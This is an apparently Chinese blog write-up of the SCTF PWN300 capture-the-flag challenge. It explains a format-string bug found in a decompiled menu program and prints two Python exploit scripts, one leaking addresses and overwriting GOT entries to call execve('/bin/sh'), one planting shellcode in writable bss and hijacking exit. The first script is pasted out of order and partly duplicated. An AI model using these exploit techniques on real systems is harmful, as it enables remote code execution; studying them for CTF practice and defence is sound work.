SCTF PWN300 WriteUp

Reading time ~1 minute

这题同样也不难,尤其是在做了PWN200之后,很容易便能想清楚这题可以怎么做,唯一的区别就是PWN200是栈溢出,这题是格式化字符串漏洞。

IDA反编译的程序如下(我改了几个函数名方便看):

int __cdecl show_hint()
{
  puts("----------------------");
  puts("1:Play a game");
  puts("2:Leave a message");
  puts("3:Print your message");
  puts("4:Exit");
  return puts("----------------------");
}

int __cdecl leave_message()
{
  puts("input your message");
  memset(src, 0, 0x400u);
  return read_str(src, 1024);
}

int __cdecl show_message()
{
  int result; // eax@1
  char dest; // [sp+1Ch] [bp-40Ch]@1
  int v2; // [sp+41Ch] [bp-Ch]@1

  v2 = *MK_FP(__GS__, 20);
  strcpy(&dest, src);
  printf("Your message is:");
  printf(src);
  result = *MK_FP(__GS__, 20) ^ v2;
  if ( *MK_FP(__GS__, 20) != v2 )
    __stack_chk_fail();
  return result;
}

void __cdecl guess_number()
{
  unsigned int v0; // eax@1
  int v1; // [sp+18h] [bp-10h]@2
  int v2; // [sp+1Ch] [bp-Ch]@1

  v0 = time(0);
  srand(v0);
  v2 = rand() % 10;
  puts("Test your RP....");
  do
  {
    do
    {
      printf("Guess a number(0-10):");
      __isoc99_read_str("%d", &v1);
    }
    while ( v1 < 0 );
  }
  while ( v1 > 10 );
  if ( v2 == v1 )
    puts("You win");
  else
    puts("You lost");
  exit(0);
}

void __cdecl main()
{
  signed int v0; // [sp+1Fh] [bp-1h]@2

  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to SCTF! Good luck & Have fun~");
  while ( 1 )
  {
    while ( 1 )
    {
      show_hint();
      puts("input your choice:");
      read(&v0, 2);
      if ( (char)v0 != 50 )
        break;
      leave_message();
      puts(&byte_8048AEE);
    }
    if ( (char)v0 > 50 )
    {
      if ( (char)v0 == 51 )
      {
        show_message();
        puts(&byte_8048AEE);
      }
      else
      {
        if ( (char)v0 == 52 )
          exit(0);
      }
    }
    else
    {
      if ( (char)v0 == 49 )
        guess_number();
    }
  }
}

很明显我们可以发现,guess_number是没有用的,leave_message和show_message才是我们需要注意的重点,show_message中是直接调用printf(src)进行的输出,而src是我们输入的字符串,很显然,这里是再明显不过了的格式化字符串溢出漏洞了,我们需要想的只是溢出之后怎么拿到shell。

毫无疑问,我们这里完全可以仿照PWN200的方法,先输出libc中某个函数的真实地址,然后算出execve的地址,而调用execve所需的字符串/bin/sh我们可以直接通过栈传递进去,不用写到GOT表那里了,因为这一次通过格式化字符串漏洞我们是知道栈地址的。

然后这题比较蛋疼的是,他输出既有用puts,也有用printf,然后我当时为了偷懒,就想用puts来输出地址,然后不知道为什么总是错,后来换用printf来输出就好了,就为了这个问题,当时硬生生熬到凌晨两三点人都快不行了才搞出来。

然后,后来还了解到,栈中是有libc的加载地址的,于是乎,可以直接就在栈中找就好了,方便点。

下面还是贴下我比赛时的程序,因为当时实在不知道错哪了,还在本地把那个程序跑起来了进行本地实验,然后代码现在确实有点分不太清楚哪些是最终通过的代码部分了,因为当时一做出来就去睡了,再没看了,所以先全部贴出来吧,要是将来啥时候有闲情,再来整理下吧:

#!/usr/bin/env python
#encoding:utf-8

s.send('2n')
s.recv(4096)
s.send('0x%266$08x 0x%277$08xn')
s.recv(4096)
s.send('3n')
s.recv(4096)

import socket
import binascii

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# s.connect(('218.2.197.248', 10002))
s.connect(('10.211.55.10', 8888))
s.send('2n')
s.recv(4096)
s.send('0x%266$08x 0x%265$08x 0x%267$08xn')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)
while ret.find('0x') == -1:
    ret += s.recv(4096)

pos = ret.find('0x')
ebp = int(ret[pos + 2:pos + 10], 16)
# binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 - 0x40c + 64 + 240)[2:])[::-1])

first = calc(ebp - 0x30 + 4)
# second = fill(0x30, 'e0840408''9f880408''18910408')
second = fill(0x80, 'e0840408''70850408''04910408')
if first.find('x00') != -1 or second.find('x00') != -1:
    raise RuntimeError()

s.send('2n')
s.recv(4096)
s.send(first + second + 'a' * (240 - len(second)) + 'n')
s.recv(4096)
s.send('3n')
print hex(ebp)
ret = s.recv(4096)

while ret.find('a' * 5) == -1:
    ret += s.recv(4096)

pos = ret.find('a' * 5) + 5

# puts_addr = int(binascii.hexlify(ret[pos:pos + 4][::-1]), 16)
puts_addr = int(binascii.hexlify(ret[:4][::-1]), 16)
puts_pos = binascii.hexlify(binascii.unhexlify(hex(puts_addr)[2:])[::-1])
execve_addr = 0x000B8240 - 0xde3a0 + puts_addr
execve_pos = binascii.hexlify(binascii.unhexlify(hex(execve_addr)[2:])[::-1])
execve_pos = '203becf7'


import socket
import binascii

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('218.2.197.248', 10002))
# s.connect(('10.211.55.10', 8888))
s.send('2n')
s.recv(4096)
s.send('0x%266$08x 0x%265$08x 0x%267$08xn')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)
while ret.find('0x') == -1:
    ret += s.recv(4096)

pos = ret.find('0x')
ebp = int(ret[pos + 2:pos + 10], 16)

# bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 - 0x40c + 0x60 + 300)[2:])[::-1])
bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 + 0x14 + 8)[2:])[::-1])
first = calc(ebp - 0x30 + 4)
# second = fill(0x60, 'e0840408''9f880408' + bin_sh_pos + '2f62696e2f736800')
# second = fill(0x60, execve_pos +'9f880408' + bin_sh_pos)
second = fill(0x80, 'a0840408' + '70850408' + bin_sh_pos + '04910408' + '00' * 8 + '3d3d2538733d3d2d')

s.send('2n')
s.recv(4096)
s.send(first + second +  'a' * (400 - len(second)) + 'n')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)

s.send('2n')
s.recv(4096)
s.send('0x%266$08x 0x%265$08x 0x%267$08xn')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)
while ret.find('0x') == -1:
    ret += s.recv(4096)

pos = ret.find('0x')
ebp = int(ret[pos + 2:pos + 10], 16)

# bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 - 0x40c + 0x60 + 300)[2:])[::-1])
bin_sh_pos = binascii.hexlify(binascii.unhexlify(hex(ebp - 0x30 + 0x14 + 8)[2:])[::-1])
first = calc(ebp - 0x30 + 4)
# second = fill(0x60, 'e0840408''9f880408' + bin_sh_pos + '2f62696e2f736800')
# second = fill(0x60, execve_pos +'9f880408' + bin_sh_pos)
second = fill(0x80, 'e0840408' + execve_pos + bin_sh_pos + bin_sh_pos + '00' * 8 + '2f62696e2f736800')

s.send('2n')
s.recv(4096)
s.send(first + second +  'a' * (400 - len(second)) + 'n')
s.recv(4096)
s.send('3n')
ret = s.recv(4096)

def calc(addr):
    payload = ''
    for pos in xrange(addr, addr + 32):
        payload += chr(int(hex(pos & 0xff)[2:4], 16))
        payload += chr(int(hex(pos & 0xff00)[2:4], 16))
        payload += chr(int(hex(pos & 0xff0000)[2:4], 16))
        payload += chr(int(hex(pos & 0xff000000)[2:4], 16))
    return payload

def fill(last, aim):
    payload = ''
    num = 7
    zero = 265
    for i in xrange(0, len(aim), 2):
        now = int(aim[i:i + 2], 16)
        if now != last:
            if now < last:
                now += 0x100
            payload += '%' + str(zero) + '$' + str(now - last) + 'x'
            last = now & 0xff
        payload += '%' + str(num) + '$hn'
        num += 1
    return payload

最后还是想说,这题真的是好蛋疼,通过格式化字符串溢出漏洞要改这么多个值,想想就觉得残暴……

pwn300.zip


重新整理了下这题,然后被人提醒bss段可写可执行,然后我就醉了,合着这题libc根本就用不到……

这里最后需要随便选个函数作为shellcode的触发,我选的exit,新代码如下:

#!/usr/bin/env python
#encoding:utf-8

import zio
from time import sleep


def NOPS(n):
    return 'x90' * n

def LEFT_PAD(s, n):
    assert len(s) <= n
    return NOPS(n - len(s)) + s

def RIGHT_PAD(s, n):
    assert len(s) <= n
    return s + NOPS(n - len(s))

def PREPARE_FORMAT(payload, addr, count=4):
    if count == 0:
        return payload

    payload += zio.l32(addr)
    return PREPARE_FORMAT(payload, addr + 1, count - 1)

def FILL_FORMAT(payload, last, addr_pos, value, count=4):
    if count == 0:
        return payload, last

    byte_value = value & 0xff
    if byte_value != last:
        if byte_value < last:
            byte_value += 0x100
        payload += '%%1$%dc' % (byte_value - last)
    payload += '%%%d$hhn' % addr_pos

    return FILL_FORMAT(payload, byte_value & 0xff, addr_pos + 1, value >> 8, count - 1)

DELAY = 0.1
JMP06 = 'xebx06'
SHELLCODE = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"

def RAW_WITH_DELAY(s):
    sleep(DELAY)
    return str(s)

def NONE_WITH_DELAY(s):
    sleep(DELAY)
    return ''


TARGET = ('218.2.197.235', 10102)

SHELLCODE_ADDR = 0x08049180
EXIT_GOT = 0x8049120

# local
# TARGET = './pwn300'


io = zio.zio(TARGET, print_write=NONE_WITH_DELAY, print_read=False)

payload = ''
payload = PREPARE_FORMAT(payload, EXIT_GOT)
last = len(payload)
payload, last = FILL_FORMAT(payload, last, 7, SHELLCODE_ADDR)

# change exit got to shellcode addr
io.writeline('2')
io.writeline(payload)
io.writeline('3')

# call exit to trigger shellcode
io.writeline('2')
io.writeline(SHELLCODE)
io.writeline('4')

io.interact()

挂载网络文件夹后网络故障时文件操作命令卡死

挂载 NFS 或者 Samba 的时候,经常会由于网络故障导致挂载好的链接断掉。此时如果尝试进行 ls、cd、df 等各种命令,只要与此目录沾上边,就会卡住。如果使用了类似 oh-my-zsh 这种配置的,只要在网络目录中,弹出命令提示符前就会直接卡住。这个时候第一反应就是...… Continue reading

路由折腾记 第四弹

Published on September 02, 2017